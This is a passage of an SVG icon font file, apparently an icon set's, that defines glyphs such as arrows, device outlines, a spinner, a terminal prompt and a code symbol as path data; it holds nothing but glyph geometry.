d="M1280 192v896q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-512v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-896q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h512v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="f0fe" unicode="&#xf0fe;" 
d="M1280 576v128q0 26 -19 45t-45 19h-320v320q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-320h-320q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h320v-320q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v320h320q26 0 45 19t19 45zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="double_angle_left" unicode="&#xf100;" horiz-adv-x="1024" 
d="M627 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23zM1011 160q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_right" unicode="&#xf101;" horiz-adv-x="1024" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM979 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23
l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_up" unicode="&#xf102;" horiz-adv-x="1152" 
d="M1075 224q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23zM1075 608q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393
q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="double_angle_down" unicode="&#xf103;" horiz-adv-x="1152" 
d="M1075 672q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23zM1075 1056q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23
t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_left" unicode="&#xf104;" horiz-adv-x="640" 
d="M627 992q0 -13 -10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="angle_right" unicode="&#xf105;" horiz-adv-x="640" 
d="M595 576q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_up" unicode="&#xf106;" horiz-adv-x="1152" 
d="M1075 352q0 -13 -10 -23l-50 -50q-10 -10 -23 -10t-23 10l-393 393l-393 -393q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l466 -466q10 -10 10 -23z" />
    <glyph glyph-name="angle_down" unicode="&#xf107;" horiz-adv-x="1152" 
d="M1075 800q0 -13 -10 -23l-466 -466q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l393 -393l393 393q10 10 23 10t23 -10l50 -50q10 -10 10 -23z" />
    <glyph glyph-name="desktop" unicode="&#xf108;" horiz-adv-x="1920" 
d="M1792 544v832q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1376v-1088q0 -66 -47 -113t-113 -47h-544q0 -37 16 -77.5t32 -71t16 -43.5q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19
t-19 45q0 14 16 44t32 70t16 78h-544q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="laptop" unicode="&#xf109;" horiz-adv-x="1920" 
d="M416 256q-66 0 -113 47t-47 113v704q0 66 47 113t113 47h1088q66 0 113 -47t47 -113v-704q0 -66 -47 -113t-113 -47h-1088zM384 1120v-704q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5v704q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5z
M1760 192h160v-96q0 -40 -47 -68t-113 -28h-1600q-66 0 -113 28t-47 68v96h160h1600zM1040 96q16 0 16 16t-16 16h-160q-16 0 -16 -16t16 -16h160z" />
    <glyph glyph-name="tablet" unicode="&#xf10a;" horiz-adv-x="1152" 
d="M640 128q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1024 288v960q0 13 -9.5 22.5t-22.5 9.5h-832q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h832q13 0 22.5 9.5t9.5 22.5zM1152 1248v-1088q0 -66 -47 -113t-113 -47h-832
q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h832q66 0 113 -47t47 -113z" />
    <glyph glyph-name="mobile_phone" unicode="&#xf10b;" horiz-adv-x="768" 
d="M464 128q0 33 -23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5t56.5 23.5t23.5 56.5zM672 288v704q0 13 -9.5 22.5t-22.5 9.5h-512q-13 0 -22.5 -9.5t-9.5 -22.5v-704q0 -13 9.5 -22.5t22.5 -9.5h512q13 0 22.5 9.5t9.5 22.5zM480 1136
q0 16 -16 16h-160q-16 0 -16 -16t16 -16h160q16 0 16 16zM768 1152v-1024q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v1024q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="circle_blank" unicode="&#xf10c;" 
d="M768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103
t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="quote_left" unicode="&#xf10d;" horiz-adv-x="1664" 
d="M768 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z
M1664 576v-384q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v704q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5h64q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-64q-106 0 -181 -75t-75 -181v-32q0 -40 28 -68t68 -28h224q80 0 136 -56t56 -136z" />
    <glyph glyph-name="quote_right" unicode="&#xf10e;" horiz-adv-x="1664" 
d="M768 1216v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136zM1664 1216
v-704q0 -104 -40.5 -198.5t-109.5 -163.5t-163.5 -109.5t-198.5 -40.5h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64q106 0 181 75t75 181v32q0 40 -28 68t-68 28h-224q-80 0 -136 56t-56 136v384q0 80 56 136t136 56h384q80 0 136 -56t56 -136z" />
    <glyph glyph-name="spinner" unicode="&#xf110;" horiz-adv-x="1792" 
d="M526 142q0 -53 -37.5 -90.5t-90.5 -37.5q-52 0 -90 38t-38 90q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 -64q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM320 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1522 142q0 -52 -38 -90t-90 -38q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM558 1138q0 -66 -47 -113t-113 -47t-113 47t-47 113t47 113t113 47t113 -47t47 -113z
M1728 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1088 1344q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1618 1138q0 -93 -66 -158.5t-158 -65.5q-93 0 -158.5 65.5t-65.5 158.5
q0 92 65.5 158t158.5 66q92 0 158 -66t66 -158z" />
    <glyph glyph-name="circle" unicode="&#xf111;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="reply" unicode="&#xf112;" horiz-adv-x="1792" 
d="M1792 416q0 -166 -127 -451q-3 -7 -10.5 -24t-13.5 -30t-13 -22q-12 -17 -28 -17q-15 0 -23.5 10t-8.5 25q0 9 2.5 26.5t2.5 23.5q5 68 5 123q0 101 -17.5 181t-48.5 138.5t-80 101t-105.5 69.5t-133 42.5t-154 21.5t-175.5 6h-224v-256q0 -26 -19 -45t-45 -19t-45 19
l-512 512q-19 19 -19 45t19 45l512 512q19 19 45 19t45 -19t19 -45v-256h224q713 0 875 -403q53 -134 53 -333z" />
    <glyph glyph-name="github_alt" unicode="&#xf113;" horiz-adv-x="1664" 
d="M640 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1280 320q0 -40 -12.5 -82t-43 -76t-72.5 -34t-72.5 34t-43 76t-12.5 82t12.5 82t43 76t72.5 34t72.5 -34t43 -76t12.5 -82zM1440 320
q0 120 -69 204t-187 84q-41 0 -195 -21q-71 -11 -157 -11t-157 11q-152 21 -195 21q-118 0 -187 -84t-69 -204q0 -88 32 -153.5t81 -103t122 -60t140 -29.5t149 -7h168q82 0 149 7t140 29.5t122 60t81 103t32 153.5zM1664 496q0 -207 -61 -331q-38 -77 -105.5 -133t-141 -86
t-170 -47.5t-171.5 -22t-167 -4.5q-78 0 -142 3t-147.5 12.5t-152.5 30t-137 51.5t-121 81t-86 115q-62 123 -62 331q0 237 136 396q-27 82 -27 170q0 116 51 218q108 0 190 -39.5t189 -123.5q147 35 309 35q148 0 280 -32q105 82 187 121t189 39q51 -102 51 -218
q0 -87 -27 -168q136 -160 136 -398z" />
    <glyph glyph-name="folder_close_alt" unicode="&#xf114;" horiz-adv-x="1664" 
d="M1536 224v704q0 40 -28 68t-68 28h-704q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68v-960q0 -40 28 -68t68 -28h1216q40 0 68 28t28 68zM1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320
q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
    <glyph glyph-name="folder_open_alt" unicode="&#xf115;" horiz-adv-x="1920" 
d="M1781 605q0 35 -53 35h-1088q-40 0 -85.5 -21.5t-71.5 -52.5l-294 -363q-18 -24 -18 -40q0 -35 53 -35h1088q40 0 86 22t71 53l294 363q18 22 18 39zM640 768h768v160q0 40 -28 68t-68 28h-576q-40 0 -68 28t-28 68v64q0 40 -28 68t-68 28h-320q-40 0 -68 -28t-28 -68
v-853l256 315q44 53 116 87.5t140 34.5zM1909 605q0 -62 -46 -120l-295 -363q-43 -53 -116 -87.5t-140 -34.5h-1088q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158v-160h192q54 0 99 -24.5t67 -70.5q15 -32 15 -68z
" />
    <glyph glyph-name="expand_alt" unicode="&#xf116;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="collapse_alt" unicode="&#xf117;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="smile" unicode="&#xf118;" 
d="M1134 461q-37 -121 -138 -195t-228 -74t-228 74t-138 195q-8 25 4 48.5t38 31.5q25 8 48.5 -4t31.5 -38q25 -80 92.5 -129.5t151.5 -49.5t151.5 49.5t92.5 129.5q8 26 32 38t49 4t37 -31.5t4 -48.5zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5
t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="frown" unicode="&#xf119;" 
d="M1134 307q8 -25 -4 -48.5t-37 -31.5t-49 4t-32 38q-25 80 -92.5 129.5t-151.5 49.5t-151.5 -49.5t-92.5 -129.5q-8 -26 -31.5 -38t-48.5 -4q-26 8 -38 31.5t-4 48.5q37 121 138 195t228 74t228 -74t138 -195zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204
t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="meh" unicode="&#xf11a;" 
d="M1152 448q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h640q26 0 45 -19t19 -45zM640 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1152 896q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="gamepad" unicode="&#xf11b;" horiz-adv-x="1920" 
d="M832 448v128q0 14 -9 23t-23 9h-192v192q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-192h-192q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h192v-192q0 -14 9 -23t23 -9h128q14 0 23 9t9 23v192h192q14 0 23 9t9 23zM1408 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1920 512q0 -212 -150 -362t-362 -150q-192 0 -338 128h-220q-146 -128 -338 -128q-212 0 -362 150
t-150 362t150 362t362 150h896q212 0 362 -150t150 -362z" />
    <glyph glyph-name="keyboard" unicode="&#xf11c;" horiz-adv-x="1920" 
d="M384 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM512 624v-96q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h224q16 0 16 -16zM384 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 368v-96q0 -16 -16 -16
h-864q-16 0 -16 16v96q0 16 16 16h864q16 0 16 -16zM768 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM640 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1024 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16
h96q16 0 16 -16zM896 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1280 624v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 368v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1152 880v-96
q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1408 880v-96q0 -16 -16 -16h-96q-16 0 -16 16v96q0 16 16 16h96q16 0 16 -16zM1664 880v-352q0 -16 -16 -16h-224q-16 0 -16 16v96q0 16 16 16h112v240q0 16 16 16h96q16 0 16 -16zM1792 128v896h-1664v-896
h1664zM1920 1024v-896q0 -53 -37.5 -90.5t-90.5 -37.5h-1664q-53 0 -90.5 37.5t-37.5 90.5v896q0 53 37.5 90.5t90.5 37.5h1664q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="flag_alt" unicode="&#xf11d;" horiz-adv-x="1792" 
d="M1664 491v616q-169 -91 -306 -91q-82 0 -145 32q-100 49 -184 76.5t-178 27.5q-173 0 -403 -127v-599q245 113 433 113q55 0 103.5 -7.5t98 -26t77 -31t82.5 -39.5l28 -14q44 -22 101 -22q120 0 293 92zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9
h-64q-14 0 -23 9t-9 23v1266q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102
q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
